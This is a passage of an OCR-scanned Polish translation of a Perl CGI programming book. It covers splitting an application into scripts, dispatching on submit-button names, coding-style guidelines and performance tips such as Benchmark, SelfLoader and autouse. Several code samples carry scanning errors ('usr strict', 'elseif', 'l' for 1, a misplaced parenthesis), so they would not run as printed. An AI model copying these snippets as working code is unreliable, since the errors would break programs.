zarządzania relacyjnymi bazami danych. Im mniej zmian trzeba będzie w kodzie wprowadzić, tym lepiej. Jedno z podejść polega na zastosowaniu DBI jako warstwy abstrakcji. Projektanci, którym brak przygotowania pod kątem baz danych, mogą składować dane w plikach tekstowych, korzystając z DBD::CSV. Jeśli później osoby te przerzucą się na relacyjne bazy danych, większość kodu opartego na DBI będą mogły pozostawić bez zmian. Należy pamiętać, że nie wszystkie sterowniki DBI są sobie równe. Na przykład moduł DBD::CSV zapewnia jedynie ograniczoną obsługę zapytań SQL. Na przeciwległym końcu skali stoją rozbudowane sterowniki, takie jak DBD::Oracle, który umożliwia posługiwanie się procedurami składowanymi napisanymi w PL/SQL, języku programowania Oracle'a. Dlatego, nawet w wypadku DBI, należy wyważyć proporcje między przenośnością prostego, niewyszukanego SQL-a a wydajnością uzyskiwaną w wyniku zastosowania określonych właściwości zapewnianych przez używany w danej chwili mechanizm składowania; należy też wziąć pod uwagę możliwość zmiany w przyszłości mechanizmu składowania danych. Liczba skryptów składających się na aplikację Aplikacje CGI często realizują wiele różnych zadań, które w pewien sposób muszą być synchronizowane. Na przykład na elementarny sklep internetowy będzie się składać kod wyświetlający katalog artykułów, kod aktualizujący zawartość koszyka, kod wyświetlający zawartość koszyka oraz kod do przyjmowania i przetwarzania informacji dotyczących płatności. Niektórzy projektanci CGI uznaliby, że wszystkie aspekty aplikacji można obsłużyć pojedynczym skryptem CGI, ewentualnie część funkcji wydzielając do osobnych modułów, do których potem skrypt by się odwoływał. Inni z kolei uważają, że każdą stronę lub grupę stron funkcjonalnie powiązanych powinien obsługiwać osobny skrypt CGI, z ewentualnym przeniesieniem wspólnego kodu do modułów, które będą współużytkowane przez różne skrypty. Istnieją argumenty przemawiające za każdym z tych podejść, a więc przyjrzyjmy się im.
Programowanie CGI w Perlu
187
Jeden program CGI zamiast wielu na każdą większą aplikację Posługiwanie się tylko jednym plikiem wiele upraszcza: wprowadzając zmiany, wystarczy poprawić tylko jeden plik. Aby znaleźć określony fragment kodu, nie trzeba przeszukiwać wielu plików. Wyobraźmy sobie katalog z kilkoma aplikacjami: sklep_web.egi zamowienie.cgi wyswietlanie_koszyka.cgi obsluga_koszyka.cgi Nie wnikając do kodu źródłowego, można się domyślić, że główną aplikaq'ą jest sklep_web.cgi. Co więcej, można wywnioskować, że program prawdopodobnie drukuje stronę powitalną, zapraszającą użytkownika do sklepu i zawierającą łącza do pozostałych programów CGI. Można również zgadnąć, który skrypt służy do zamawiania, wyświetlania lub obsługi danych opisujących zawartość koszyka. Jednak bez zaglądania do kodu źródłowego wszystkich tych skryptów trudno się zorientować w ich wzajemnych relacjach. Na przykład nie da się ustalić, czy artykuły można dodawać do koszyka lub je z niego usuwać, korzystając ze strony zamówienia. Zamiast kilku można utworzyć tylko jeden program CGI: sklep_web.cgi. Wówczas taki zespolony skrypt funkcje formularzy zamówień, wyświetlania i obsługi zawartości koszyka mógłby importować z bibliotek lub modułów. Co więcej, różne składniki często muszą korzystać ze wspólnego kodu. Sięganie przez jeden składnik do kodu innego składnika jest o wiele prostsze, gdy obydwa znajdują się w tym samym pliku. Rozwiązaniem, które sprawdza się w wypadku aplikacji składających się z wielu skryptów CGI, z pewnością jest przeniesienie wspólnego kodu do osobnych modułów. Niemniej użycie modułów wymaga dokładniejszego przemyślenia, który kod będzie użytkowany wspólnie, a który nie. Gdy chodzi o wprowadzanie prostych zmian, bardziej odpowiedni jest pojedynczy plik. Podejście oparte na pojedynczym skrypcie CGI nie wyklucza użycia modułów. Faktycznie, jeśli zechcemy, możemy zmniejszyć rozmiar plików, czyniąc główny skrypt CGI interfejsem podstawowym (czyli opakowaniem), kierującym żądania do poszczególnych modułów. W takim układzie tworzy się kilka modułów, które obsługują różne zadania. Pod wieloma względami jest to podejście podobne do opartego na kilku skryptach, z tym że wszystkie żądania HTTP przesyłane są za pośrednictwem wspólnego interfejsu. Gdybyśmy pisali skrypty CGI z myślą o udostępnianiu ich, tak by inni mogli je pobrać i zainstalować we własnych systemach, wtedy z pewnością warto zmniejszyć liczbę plików składających się na aplikację. W tym wypadku nacisk kładzie się na łatwość instalowania i konfigurowania aplikacji. Osoby instalujące oprogramowanie są raczej zainteresowane tym, co pakiet robi, a nie tym, które składniki realizują poszczególne zadania. Minimalizując liczbę plików łatwiej jest zapobiec przypadkowemu skasowaniu pliku przez użytkownika, który nie zdawał sobie sprawy z jego wagi. Ostatnim powodem, dla którego warto scalać skrypty CGI, jest korzystanie z FastCGI. FastCGI uruchamia osobny proces na każdy skrypt CGI, więc im mniej skryptów, tym mniej działa osobnych procesów. Po kilka skryptów CGI na każdą większą aplikację Jest też kilka powodów przemawiających za rozproszoną strukturą aplikacji. Przede wszystkim pliki są wtedy mniejsze, a z takimi łatwiej sobie radzić. Takie rozwiązanie jest pomocne, gdy nad jednym przedsięwzięciem pracuje kilku projektantów, gdyż uzgadnianie zmian dokonywanych przez wiele osób pracujących jednocześnie nad tym samym plikiem rnożebyć co najmniej skomplikowane. Oczywiście, jak stwierdziliśmy wcześniej, pliki można podzielić na mniejsze i oprzeć się na jednym programie CGI, przenosząc kod do modułów i sprowadzając program do roli prostego interfejsu kierującego żądania do właściwych modułów. Jednak tworzenie takiego interfejsu, wykorzystującego moduły do realizacji poszczególnych zadań, jest w wypadku Perla podejściem raczej nietypowym. To zazwyczaj moduły Perla, a nie program główny, zawierają ogólny kod wspólnie użytkowany przez kilka programów, z których każdy służy do realizacji innego zadania. Przechowywanie ogólnego kodu w modułach daje ponadto możliwość użycia go nie tylko w jednej, lecz w kilku różnych aplikacjach CGI. Nie da się ukryć, że w sytuacji, gdy różne składniki mają wspólnie użytkować ten sam kod, utworzenie kilku plików wymaga lepszego zaplanowania architektury, ponieważ kod taki trzeba umieścić w module. Architekturę zawsze powinno się planować rozważnie, z dystansem podchodząc do szybkich i prostych rozwiązań. Problem z tego typu rozwiązaniami polega na tym, że zbyt wiele z nich prowadzi do rozdęcia aplikacji i stanowi niskiej jakości rozwiązanie ogólne. Wydzielenie kodu z jednego składnika i przeniesienie go do modułu, tak aby był dostępny również dla innego składnika, może wymagać trochę więcej pracy na samym początku, jednak na dłuższą metę aplikacja w zestawieniu z modułem może się okazać elastyczniejsza i łatwiejsza w pielęgnacji, niż gdyby cały kod wrzucony został do jednego pliku. Zdarzają się sytuacje, gdy nie ma wątpliwości, że kod powinien być dzielony. Niektóre aplikacje, takie jak przykładowy sklep internetowy, mogą mieć strony administracyjne, których pracownicy używają do uaktualniania informacji o artykułach, zmiany kategorii artykułu itp. Operacje, które wymagają różnych poziomów uwierzytelnienia, ze względów bezpieczeństwa powinny być oddzielone od kodu publicznego. Kod administracyjny powinien się znajdować w osobnym podkatalogu, na przykład /usr/local/apache/cgi-bin/sklep_web/admin/, do którego dostęp byłby ograniczony. Jeśli zdecydujemy się podzielić aplikację CGI na kilka skryptów, dla każdej aplikacji koniecznie powinniśmy utworzyć odrębny katalog wewnątrz katalogu /cgi-bin. Umieszczenie razem dużej liczby plików wielu różnych aplikacji w jednym katalogu wcześniej czy później kończy się zamieszaniem.
Programowanie CGI w Perlu
188
Użycie przycisków zgłaszania wysyłki do sterowania wykonaniem Bez względu na to, czy dzielimy aplikaq'e na kilka skryptów, czy ich nie dzielimy, zawsze będziemy napotykać sytuacje, w których użytkownik, korzystając z jednego formularza, może wybierać bardzo różne działania. Ustalenie działania, które należy podjąć, można wówczas powierzyć skryptowi CGI, który sprawdzi nazwę wybranego przycisku zlecania wysyłki. Do żądań z zapytaniami formularzowymi są włączane jedynie nazwa i wartość tego przycisku, który został kliknięty przez użytkownika. Dlatego na jednym formularzu HTML można umieścić kilka przycisków zlecania wysyłki o różnych nazwach, wskazujących różne drogi, którymi powinno podążyć wykonanie programu. Prosty skrypt CGI sklepowego koszyka może się zaczynać na przykład w następujący sposób: #!/usr/bin/perl -wT usr strict; use CGI; my $q = new CGI; my $ilosc = $q->param( "ilość" ); my $id_artykulu = $q->param( "id_artykulu" ); my $id_koszyka = $q->cookie( "id_koszyka" ); # Pamiętaj, aby obsłużyć sytuacje wyjątkowe defined( $id_artykulu ) or die "Niepoprawne dane: brak identyfikatora artykułu"; defined( $id_koszyka ) or die "Brak cookie"; if ( $q->param( "dodaj_artykul" ) ) { dodaj_artykul( $id_koszyka, $id_artykulu ); } elseif ( $q->param( "skasuj_artykul" ) ) { skasuj_artykul( $id_koszyka, $id_artykulu ); } elseif ( $q->param( "uaktualnij_ilosc" ) ) { uaktualnij_ilosc ( $id_koszyka, $id_artykulu, $ilosc ); } else { wyswietl_koszyk ( $id_koszyka ); # To wszystko; dalej następują procedury... Patrząc na ten fragment kodu, łatwo się zorientować, jak cały skrypt się zachowuje w odpowiedzi na dane ze strony użytkownika oraz do czego służą poszczególne procedury. Gdybyśmy kliknęli przycisk reprezentowany w HTML-u znacznikiem <INPUT TYPE="submit" NAME="dodaj_artykul" VALUE="Dodaj artykuł do koszyka'^, skrypt wywołałby procedurę dodajjirtykul. Co więcej, od razu wiadomo, że działaniem domyślnym jest wyświetlenie koszyka. Zauważmy, że rozgałęzienia oparte są na nazwie przycisku zlecania wysyłki, a nie na jego wartości. Dzięki temu projektanci HTML mogą dowolnie zmieniać tekst wyświetlany na przycisku, nie wpływając przy tym na skrypt w jakikolwiek sposób.
Wytyczne dotyczące pisania kodu Każdy z programistów wypracowuje indywidualny styl pisania kodu. Nie ma w tym nic złego, dopóki twórca pracuje w pojedynkę. Kiedy jednak w zespole każdy z projektantów będzie się starał narzucić własny styl, w końcu pojawią się problemy. Kod, który nie stosuje się do jednego spójnego stylu, jest o wiele mniej czytelny i trudniejszy w pielęgnacji niż kod jednolity pod względem formy. Dlatego, jeśli nad jednym przedsięwzięciem pracuje co najmniej dwóch programistów, powinni uzgodnić wspólny styl pisania kodu. Także wtedy, gdy pracujemy samodzielnie, warto jest przestrzegać ustalonych standardów, aby styl nie odbiegł od nich na tyle daleko, by później mieć problemy z przystosowaniem się do pozostałych członków zespołu. Oto kilka elementów, które powinny być ujęte w wytycznych stylu, wraz z odnośnymi sugestiami. Do tych sugestii, w znacznej mierze opartych na stylu zalecanym na stronie podręcznikowej perlstyle, stosuje się składnia przykładów prezentowanych w niniejszej książce: • Przełączniki i pragmy. Dotyczy kilku pierwszych wierszy kodu: #!/usr/bin/perl -wT use strict; We wszystkich skryptach możemy zastosować tryb kontroli skażeń lub dopuścić pewne wyjątki. Możemy również domyślnie włączać ostrzeżenia we wszystkich skryptach. Z pewnością wskazane jest, aby we wszystkich skryptach stosowany był ścisły (strict) tryb kodowania, a użycie zmiennych globalnych było ograniczone do niezbędnego minimum. • Stosowanie wielkich i małych liter. Dotyczy nazw zmiennych (zarówno lokalnych, jak i globalnych), procedur, modułów oraz nazw plików. Konwencją najpowszech-niej stosowaną w Perlu jest używanie małych liter w nazwach zmiennych lokalnych, procedur i plików oraz oddzielanie poszczególnych wyrazów znakiem podkreślenia. Zmienne globalne powinny być wyróżnione wielkimi literami. W nazwach modułów zwykle stosowane są zarówno wielkie, jak i małe litery i nie stosuje się znaków podkreślenia. Zauważmy, że jest to konwencja dość różna od przyjętych w innych językach, na przykład JavaScripcie lub Javie. Wcięcia. Dotyczy wyboru tabulacji lub spaq'i. W większości edytorów istnieje możliwość automatycznego zastępowania tabulacji ustaloną liczbą spacji. Jeśli stosowane są spaqe, należy wskazać, z ilu spaqi ma się składać typowe wcięcie. Powszechnie przyjmuje się trzy lub cztery spacje. Położenie klamer. Tworząc treść procedury, pętli lub instrukcj'i warunkowej, klamrę otwierająca możemy umieścić na końcu zapowiadającej ją instrukcji lub w następnym wierszu. Procedurę można zdefiniować jak niżej: sub suma {
Programowanie CGI w Perlu
189
return $_[0] + $_[1]; } Lecz można ją też zdefiniować w sposób następujący: sub suma { return $_[0] + $_[1]; } Zadziwiające, ale ta bardzo drobna różnica doprowadza niekiedy do poważnych zatargów między niektórymi programistami. Druga konwencja bliska jest tym, którzy dużo pisali w języku C, podczas gdy w Perlu częściej spotykana jest pierwsza. Dokumentacja. Nad tym, czy dokumentować kod, czy nie, w ogóle nie ma co się zastanawiać oczywiście, że trzeba. Niemniej można wybrać określony standard. Należy pamiętać, że istnieją różne poziomy dokumentacji. Dokumentację mogą stanowić wplecione w kod komentarze, objaśniające określone fragmenty kodu. Dokumentacja może mieć postać opisu przeznaczenia pliku i jego roli w całym projekcie. Ponadto projekt jako taki może mieć zadania i właściwości, których nie da się przypisać pojedynczym plikom i które wymagają ujęcia na bardziej ogólnym poziomie. Należy ustalić sposób, w jaki poszczególne poziomy ogólności będą ujmowane w dokumentacji. Czy, na przykład, przy opisywaniu przeznaczenia plików zawsze będzie stosowany format pod Perla? Albo czy będą stosowane standardowe komentarze czy też osobna dokumentacja? Jak wobec tego postępować z modułami współużytkowanymi? Jeśli projektanci w przyszłości będą musieli sięgać do tych modułów, format pod zapewni wygodny sposób wyszukiwania potrzebnych do tego informacji. Przydać się może utworzenie standardowych szablonów komentarzy pojawiających się na początku pliku i każdej procedury. W książce pomijaliśmy obszerne bloki komentarzy, ponieważ i tak później objaśnialiśmy każdy fragment kodu. Mimo wszystko do ostatecznego kodu powinny być dołączone takie informacje, jak: kto napisał kod, kiedy go napisał, dlaczego go napisał, do czego kod służy itp. Bardzo się może przydać system nadzoru wersji wychwytujący niektóre z tych informacji. Gramatyka. Definiuje reguły dotyczące nazewnictwa zmiennych, procedur i modułów. Można ustalić, że nazwy zmiennych i procedur mają być rozwinięte lub że dopuszczalne są skróty. Można też ustanowić reguły co do użycia liczby mnogiej w nazwach struktur danych zawierających wiele elementów. Na przykład, czy lista odczytywana z bazy danych będzie umieszczana w tablicy o nazwie @rek, @rekord czy @rekordy ? Nazwy rozwinięte oraz nazwy w liczbie mnogiej w wypadku danych strukturalnych są chyba najczęstsze. Nazwy procedur zwykle są czasownikami (lub zaczynają się od czasownika), podczas gdy nazwy modułów (w tym nazwy klas w wypadku modułów obiektowych) są zwykle rzeczownikami. • Odstępy. Do zwiększenia czytelności kodu, a zatem i łatwości w pielęgnacji, z pewnością przyczyniają się właściwie użyte odstępy. Poszczególne pozycje list, w tym parametry przekazywane do funkcji, powinno się oddzielać spacjami. Spacjami powinno się z obu stron obejmować operatory, w tym nawiasy. Kolejne polecenia na podobnym poziomie zagnieżdżenia powinny być wyrównane (do lewej), jeśli poprawia to przejrzystość kodu. Nie należy jednak przesadzać. Sformatowany kod jest czytelniejszy, lecz wskazane jest, by równie łatwe, jak czytanie, było wprowadzanie zmian, tak by osoba poprawiająca kod nie musiała zbyt wiele czasu poświęcać na ponowne formatowanie wierszy. • Narzędzia. Można uzgodnić narzędzia (np. moduły ułatwiające tworzenie kodu), które będą standardowo używane. W pracy bardzo pomaga przyjęcie przez wszystkich jednej konkretnej metody generowania danych wyjściowych (np. za pomocą CGI.pm), określonego modułu szablonów HTML itp. • Dodatki. Powyższa lista nie jest w żadnym razie wyczerpująca, więc wytyczne co do stylu muszą ulegać zmianie. Jeśli pojawią się kwestie, które nie zostały wcześniej ujęte w wytycznych, należy wypracować odpowiednie rozwiązanie, a wytyczne uaktualnić. Nie wolno również zapominać o sformułowaniu innych ogólnych wytycznych dotyczących procesu tworzenia i architektury, takich jak przedstawione na początku niniejszego rozdziału i rozproszone po całej książce. Niemniej jednak należy pamiętać, że celem jest poprawa organizacji pracy, a nie zaprowadzenie biurokracji. Wytycznych nie należy egzekwować w sposób despotyczny. Nie jest możliwe ani wskazane, by kod każdego programisty wyglądał jednakowo. Chodzi o to, by jeden projektant mógł bez trudności korzystać z kodu innego projektanta. Ponadto decyzje co do stylu powinny być podejmowane w wyniku dyskusji i porozumienia, a nie jednostronnie narzucane.
Rozdział 17 Efektywność i optymalizacja Nie ma co kryć, ale aplikacje CGI działające w normalnych warunkach nie imponują szybkością. W tym rozdziale pokażemy kilka sztuczek mogących przyśpieszyć aplikacje. Zaprezentujemy również dwa środki techniczne - FastCGI oraz mod_perl -dzięki którym można tworzyć znacząco szybsze aplikacje CGI. W wypadku skryptów CGI w Perlu tworzonych w systemie Win32 przydać się może PerlEx firmy Active-State. PerlEx nie jest tutaj omawiany, niemniej korzyści, które daje, w znacznej mierze odpowiadają tym, które zapewnia mod_perl. Najpierw musimy sobie uzmysłowić, dlaczego aplikacje CGI są powolne. Gdy użytkownik żąda od serwera Web zasobu będącego aplikacją CGI, serwer, aby obsłużyć to żądanie, musi utworzyć kolejny proces. Gdy mamy do czynienia z aplikacjami opartymi na językach interpretowanych, takich jak Perl, w grę wchodzi dodatkowa zwłoka spowodowana uruchamianiem interpretera, a następnie analizą składniową i kompilacją aplikacji. Czy zatem jest jakiś sposób, który by pozwolił poprawić wydajność perłowych aplikacji CGI? Moglibyśmy nakazać Perłowi, aby poddawał interpretacji tylko najczęściej używane partie aplikacji, odkładał zaś w czasie interpretację pozostałych fragmentów, dopóki nie będzie ona konieczna. Z pewnością aplikacje działałyby wtedy
Programowanie CGI w Perlu
190
szybciej. Ewentualnie moglibyśmy aplikację zamienić w serwer działający w tle (demon) i realizowany na żądanie. Nie byłoby wówczas mowy o stracie czasu na rozruch interpretera i przekształcanie kodu. Ewentualnie interpreter Perla moglibyśmy osadzić w samym serwerze Web. Także i w tym wypadku unikamy straty czasu na rozpoczynanie nowego procesu, a ponadto nie występuje opóźnienie komunikacyjne, gdyż nie musimy porozumiewać się z kolejnym demonem. W tym rozdziale przyjrzymy się wszystkim wyżej wymienionym technikom i przedstawimy podstawowe wskazówki pozwalające zwiększyć efektywność aplikacji w Perlu. Zacznijmy od podstaw.
Podstawowe wskazówki dotyczące Perla - czołowa dziesiątka Oto lista dziesięciu zasad, których przestrzeganie pozwala zwiększyć wydajność skryptów CGI: 10. Przeprowadzaj testy wydajności kodu. 9. Przeprowadzaj również testy wydajności modułów. 8. Lokalizuj zmienne za pomocą instrukcji my. 7. Unikaj „wsysania" danych z plików. 6. Tablice opróżniaj za pomocą (), a nie undef. 5. Tam, gdzie stosowne, używaj modułu SelfLoader. 4. Tam, gdzie stosowne, używaj właściwości autouse. 3. Unikaj powłoki. 2. Szukaj gotowych rozwiązań, gdy pojawią się problemy. 1. Optymalizuj wyrażenia regularne. Przyjrzyjmy się bliżej każdej z zasad. Testowanie wydajności kodu Zanim będziemy mogli sprawdzić, na ile sprawnie działa cały program, musimy wiedzieć, jak przetestować wydajność krytycznych fragmentów kodu. Choć testowanie wydajności wydaje się skomplikowane, w istocie polega jedynie na mierzeniu czasu, przez który wykonuje się fragment kodu. Zadanie bardzo nam ułatwia kilka standardowych modułów Perla. Przyjrzyjmy się kilku sposobom szacowania wydajności przydatnym w różnych okolicznościach. Na początek sposób najprostszy: $start = (times)[0]; ## tu przychodzi testowany kod $koniec = (times)[0]; printf "Czas, który upłynął (w sekundach): %.2f!\n", $koniec - $start; W ten sposób wyznaczamy, ile było potrzeba czasu (w sekundach) na wykonanie danego kodu. W tym teście ważne jest przestrzeganie kilku wskazówek: • Staraj się testem obejmować tylko stosowne fragmenty kodu. • Nie poprzestawaj na pierwszym wyniku testu. Przetestuj kod kilkakrotnie i wylicz średnią. • Porównując wyniki testów, upewnij się, że były przeprowadzane w porównywalnych warunkach. Na przykład obciążenie maszyny powinno być jednakowe we wszystkich testach (powodem różnic mogłoby być przeprowadzanie podczas testów intensywnych działań przez jednego z użytkowników). Możemy też użyć modułu Benchmark. Moduł ten dostarcza k'ilku funkcji umożliwiających porównywanie różnych fragmentów kodu i wyznaczanie upływu czasu procesora oraz upływu czasu rzeczywistego. Oto najprostszy sposób użycia modułu w programie: use Benchmark; $start = new Benchmark; ## tu przychodzi testowany kod $koniec = new Benchmark; $czas = timediff ($koniec, $start); print "Czas, który upłynął: ", timestr ($czas), "\n"; Wynik będzie podobny do następującego: Czas, który upłynął: 4 wallclock secs (0.58 usr + 0.00 sys = 0.58 CPU) Moduł może również posłużyć do testowania kilku fragmentów kodu. Na przykład: use Benchmark; timethese (100, { for => <<'end_for', my $petla; for ($petla=l; $petla <= 100000; $petla++) { l } end for foreach => <<'end_foreach', my $petla; foreach $petla (1..100000) { l } end foreach } ); Sprawdzamy kod w pętlach for i foreach. Nawiasem mówiąc, w Perlu w wersji starszej niż 5.005 pętle foreach o bardzo wysokich granicach iteracji są znacznie mniej efektywne niż analogiczne pętle for. Wynik timethese będzie wyglądać podobnie do następującego: Benchmark: timing 100 iterations of for, foreach... for: 49 wallclock secs (49.07 usr + 0.01 sys = 49.08 CPU) foreach: 69 wallclock secs (68.79 usr + 0.00 sys = 68.79 CPU)
Programowanie CGI w Perlu
191
Warto tu zauważyć, że Benchmark szacując czas opiera się na wywołaniu systemowym tłme i dlatego rozdzielczość czasowa jest ograniczona do jednej sekundy. Gdyby była nam potrzebna wyższa rozdzielczość, moglibyśmy poeksperymentować z modułem Time::HiRes. Oto przykładowy sposób jego użycia: use Time::HiRes; my $start = [ Time::HiRes::gettimeofday() ]; ## Tu przychodzi testowany kod my $czas = Time::HiRes::tv_interval( $start ); print "Czas, który upłynął (w sekundach): $czas!\n"; Funkcja gettimeofday zwraca bieżący czas w sekundach i mikrosekundach; umieszczamy je w liście, a referencję do listy przypisujemy zmiennej $start. Później, gdy badany kod zakończy bieg, wywołujemy funkcję tv_interval, która przyjmuje zmienna $start i oblicza różnicę między czasem początkowym a bieżącym. Zwraca sekundy wyrażone liczbą zmiennopozycyjną. Jedno zastrzeżenie: im mniej czasu trwa wykonywanie kodu, tym mniej wiarygodne są wyniki testów. Time::HiRes może się więc przydać do badania długich fragmentów kodu, lecz nie należy go stosować do porównywania dwóch procedur, z których każda trwa mniej niż sekundę. Do porównań lepiej jest użyć modułu Benchmark i testować nim każdą procedurę wielokrotnie. Testowanie wydajności modułów Sieć CPAN jest niesamowita. Zawiera ogromną liczbę wysoce użytecznych modułów Perla. Warto korzystać z tego źródła, ponieważ kod tam dostępny był testowany i ulepszany przez całą społeczność parającą się Perlem. Mimo wszystko, jeśli tworzymy aplikacje, w których wydajność ma znaczenie krytyczne, należy pamiętać o testowaniu pod tym kątem kodu zawartego nie tylko we własnych modułach. Na przykład, jeśli mamy zamiar wykorzystać zaledwie część funkcjonalności zapewnianej przez moduł, warto utworzyć jego okrojoną wersję dostosowaną do konkretnej aplikacji. Większość modułów rozprowadzanych przez CPAN udostępniana jest na takich samych zasadach jak Perl, w którym na własny użytek można modyfikować kod bez ograniczeń. Należy przy tym pamiętać o wcześniejszym upewnieniu się co do warunków licencji danego modułu. Co więcej, jeśli uznamy, że nasze opracowanie może przynieść pożytek innym, wskazane byłoby powiadomienie autora oryginału i odesłanie przeróbki do sieci CPAN. Powinniśmy także sprawdzić, czy użycie modułu w ogóle ma sens. Popularnością cieszy się moduł IO::File, zawierający szereg funkq'i do obsługi plikowego wejścia-wyjścia: use IO::File; $fh = new IO::File; if ($fh->open ("index.html") ) { print <$fh>; $fh->close; } Korzystanie z modułów takich jak IO::File ma swoje zalety. Niestety, ze względu na fakt wczytywania modułu i wywoływania metod, powyższy kod jest średnio dziesięciokrotnie wolniejszy niż następujący: if (open PLIK, "index.html") ( print <PLIK>; close PLIK; } Wniosek końcowy: do stosowanych modułów należy podchodzić ze szczególną uwagą. Lokalizowanie zmiennych funkcją my Zmienne leksykalne powinno się tworzyć za pomocą funkcji my. Perl nadzoruje korzystanie z pamięci, lecz nie jest w stanie przewidzieć, czy w przyszłości zamierzamy użyć jakiejś zmiennej. Chcąc utworzyć zmienną potrzebną tylko w konkretnym bloku kodu, na przykład procedurze, powinniśmy zadeklarować ją przy użyciu my. Wówczas pamięć przydzielona tej zmiennej zostanie zwolniona wraz z końcem bloku. Należy zwrócić uwagę, że funkcja locd nie lokalizuje zmiennej w zwyczajowym sensie. Oto przykład: sub miano { local $moje_miano = shift; pozdrowienie(); } sub pozdrowienie { print "Witaj, $moje_miano! Jak się masz!\n"; } Gdy uruchomimy ten krótki program, okaże się, że zasięg zmiennej $mo j e_miano nie jest ściśle lokalny względem funkcji miano. W rzeczywistości zmienna widoczna jest również w funkcji pozdrowienie. Takie zachowanie, jeśli nie będziemy dość uważni, może przynieść niepożądane skutki. Dlatego większość programistów w Perlu unika instrukcji local, a w zamian stosuje my w stosunku do wszystkiego oprócz zmiennych globalnych, uchwytów plików i wbudowanych interpunkcyjnych zmiennych globalnych, takich jak $_ lub $ / . Unikanie wsysania Co to jest wsysanie? Ano rozważmy następujący kod: local $/; open PLIK, "obszerny_index.html" or die "Nie można otworzyć pliku !\n"; $duzy_lancuch = <PLIK>;
Programowanie CGI w Perlu
192
close PLIK; Ponieważ unieważniamy definicję separatora rekordów wejściowych, jednorazowy odczyt z uchwytu pliku spowoduje wessanie (ang. slurping) pliku (czyli wczytanie go w całości). Gdy mamy do czynienia z obszernymi plikami, takie podejście jest wysoce nieefektywne. Jeśli to, co mamy zrobić, możemy zrobić wczytując wiersze pojedynczo, powinniśmy użyć pętli while: open PLIK, "obszerny_index.html" or die "Nie można otworzyć pliku !\n"; while (<PLIK>) { # Rozdziel pola według białych znaków, podaj na wyjście w postaci wierszy tabeli HTML print $q->tr( $q->td( [ split ] ) ) ; } close PLIK; Oczywiście, jest wiele sytuacji, w których przetwarzanie po jednym wierszu nie wchodzi w grę: na przykład przy poszukiwaniu danych rozciągających się na kilka wierszy. Wówczas trzeba by wrócić do koncepcji wsysania małych plików. W takich wypadkach warto testować wydajność kodu, aby zorientować się, ile nas będzie kosztować wsysanie całego pliku. undef a() Jeśli zamierzamy zutylizować tablice, zwłaszcza duże, sposobem ich opróżniania efektywniejszym niż unieważnianie definicji (instrukcją undef) jest przypisywanie im listy zerowej. Na przykład: while (<PLIK>) { chomp; $licznik++; $jakas_obszerna_tablica[$licznik] .= int ($_); } ... @jakas_obszerna_tablica = (); # Dobrze undef @jakas_obszerna_tablica; # Niezbyt dobrze Jeśli w celu opróżnienia tablicy @jakas_obszerna_tablica unieważnimy jej definiq'e, Perl zwolni pamięć wcześniej przydzieloną jej danym. Gdy zaczniemy tablicę wypełniać nowymi danymi, Perl będzie musiał na nowo przydzielić odpowiednią pamięć, a to spowalnia działanie programu. SelfLoader Moduł SelfLoader umożliwia ukrywanie funkcji i procedur, tak że interpreter Perla nie kompiluje ich do postaci wewnętrznych opkodów już w czasie ładowania się aplikacji, lecz dopiero wtedy, gdy stają się potrzebne w określonym miejscu. Może to przynieść wielkie oszczędności, zwłaszcza jeśli program jest bardzo duży i zawiera wiele procedur, które nie przy każdym żądaniu są uruchamiane. Przyjrzyjmy się, jak przekształcić program, aby wykorzystać samoładowanie (ang. selfloading), a przy okazji zobaczmy, jak jest ono wewnętrznie rozwiązane. Oto zrąb programu: use SelfLoader; ## etap 1: szczątkowe deklaracje procedur sub jeden; sub dwa; ... ## Tu przychodzi główna część kodu ... ## etap 2: procedury niezbędne (wymagane) sub jeden { ... } __DATA__ ## etap 3: wszystkie pozostałe procedury sub dwa { ... } __END__ Jest to proces trzyetapowy: 1. Utworzenie szczątkowych deklaracji wszystkich funkcji i procedur użytych w aplikacji. 2. Wydzielenie funkcji, które są na tyle często wywoływane, że powinny być załadowywane domyślnie. 3. Zebranie pozostałych funkcji i umieszczenie ich między leksemami _DATA_ oraz_END_. Gdy już to zrobimy, możemy sobie pogratulować: Perl będzie wczytywać te funkcje wyłącznie na życzenie! A jak to działa? Leksem _DATA_ ma w Perlu szczególne znaczenie; wszystko, co znajduje się po nim, jest odczytywane za pośrednictwem plikowego uchwytu DATA. Gdy Perl dochodzi do leksemu _DATA_, zaprzestaje kompilacji, a wszystkie procedury zdefiniowane po tym leksemie uznaje za nie istniejące. Gdy pojawia się wywołanie niedostępnej funkcji, SelfLoader wczytuje wszystkie procedury poprzez uchwyt plikowy DATA i buforuje je w tablicy asocjacyjnej. Jest to proces jednorazowy, wykonywany przy pierwszym wywołaniu niedostępnej funkcji. Następnie SelfLoader sprawdza, czy dana funkcja w ogóle istnieje, a
Programowanie CGI w Perlu
193
jeśli istnieje, to przetwarza ją funkcją eval w ramach przestrzeni nazw kodu wywołującego. Skutkiem tego dana funkcja zaczyna istnieć w tej właśnie przestrzeni nazw, a wszelkie kolejne jej wywołania są obsługiwane poprzez wyszukiwanie w tablicy symboli. Kosztami tego procesu są: jednorazowe odczytywanie i analiza składniowa sa-moładowanych procedur oraz przetwarzanie przez eval przy każdym wywołaniu funkcji. Mimo to wydajność dużych programów o licznych funkcjach i procedurach może się zdecydowanie poprawić. autouse W razie używania w aplikacjach wielu modułów zewnętrznych warto rozważyć wykorzystanie właściwości autouse, opóźniającej wczytywanie ich do czasu, gdy funkcja danego modułu zostaje wywołana: use autouse DB_File; Właściwością tą należy się posługiwać z wielką ostrożnością, ponieważ fragmenty łańcucha wykonawczego zmieniają charakter z określanych w czasie kompilacji na określane w czasie wykonania. Jeśli ponadto moduł wymaga konkretnej sekwencji działań już w fazie kompilacji, użycie autouse może nawet prowadzić do niesprawności aplikacji. Jeśli potrzebne moduły zachowują się zgodnie z oczekiwaniami, użycie autouse może się przyczynić do sporych oszczędności, gdy chodzi o „ładowanie się" aplikacji. Unikanie powłoki W aplikacjach należy unikać sięgania do powłoki, chyba że nie ma innego wyjścia. Perl jest wyposażony w wiele funkcji równoważnych poleceniom Uniksa. Kiedy to tylko możliwe, funkcji tych powinno się używać, aby uniknąć nieefektywnego pośrednictwa powłoki. Zamiast zewnętrznego polecenia rm lepiej jest użyć funkcji unlink: system( "/bin/rm", $plik ); ## Polecenie zewnętrzne unlink $plik or die "Nie można usunąć pliku $plik: $!' ## Funkcja wewnętrzna Ponadto pominięcie powłoki zwiększa bezpieczeństwo, o czym była mowa w rozdziale 8, „Bezpieczeństwo". Niemniej jednak zdarzają się sytuacje, w których w wyniku użycia standardowego programu zewnętrznego uzyskuje się większą wydajność niż w samym Perlu. Jeśli 